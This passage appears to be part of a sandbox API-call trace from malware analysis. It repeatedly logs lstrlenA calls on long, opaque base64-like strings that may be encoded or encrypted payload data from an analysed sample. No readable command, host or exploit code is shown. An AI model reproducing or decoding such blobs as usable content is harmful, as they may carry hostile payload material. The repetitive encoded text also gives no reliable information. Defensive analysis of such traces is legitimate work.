FgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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